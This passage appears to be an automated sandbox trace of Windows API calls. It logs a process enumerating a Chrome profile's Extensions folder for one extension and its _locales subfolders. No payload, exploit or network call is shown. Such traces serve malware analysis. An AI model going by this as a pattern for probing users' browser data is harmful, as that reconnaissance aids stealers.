data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee861190, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee865fb0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee865fb0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0069.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0069.830] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpFilePart=0x0) returned 0x6b [0069.830] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8a40 [0069.830] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0069.831] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0069.831] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0069.831] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0069.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0069.831] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", lpFilePart=0x0) returned 0x71 [0069.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0069.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0"), fInfoLevelId=0x0, lpFileInformation=0x6cfe980 | out: lpFileInformation=0x6cfe980*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1a0950, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee852730, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee852730, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0069.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0069.860] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", lpFilePart=0x0) returned 0x71 [0069.860] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fd8a40 [0069.874] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0069.875] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0069.875] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0069.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0069.875] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", nBufferLength=0x105, lpBuffer=0x6cfe44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpFilePart=0x0) returned 0x7a [0069.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0069.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales"), fInfoLevelId=0x0, lpFileInformation=0x6cfe90c | out: lpFileInformation=0x6cfe90c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1acca0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee56eb40, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee56eb40, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0069.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0069.877] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", nBufferLength=0x105, lpBuffer=0x6cfe434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpFilePart=0x0) returned 0x7a [0069.877] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*", lpFindFileData=0x6cfe644 | out: lpFindFileData=0x6cfe644) returned 0x6fd8a40 [0069.877] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.878] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.879] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.880] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.881] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.881] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.881] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.881] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0069.881] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0069.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0069.881] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", lpFilePart=0x0) returned 0x7d [0069.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1af3b0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1b1ac0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1b1ac0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", lpFilePart=0x0) returned 0x7d [0069.882] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.882] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", lpFilePart=0x0) returned 0x7d [0069.883] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.883] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.883] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", lpFilePart=0x0) returned 0x7d [0069.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1b68e0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1b8ff0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1b8ff0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", lpFilePart=0x0) returned 0x7d [0069.884] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.884] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", lpFilePart=0x0) returned 0x7d [0069.884] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.884] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", lpFilePart=0x0) returned 0x7d [0069.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1c0520, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1c0520, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1c0520, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.885] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", lpFilePart=0x0) returned 0x7d [0069.885] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.885] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 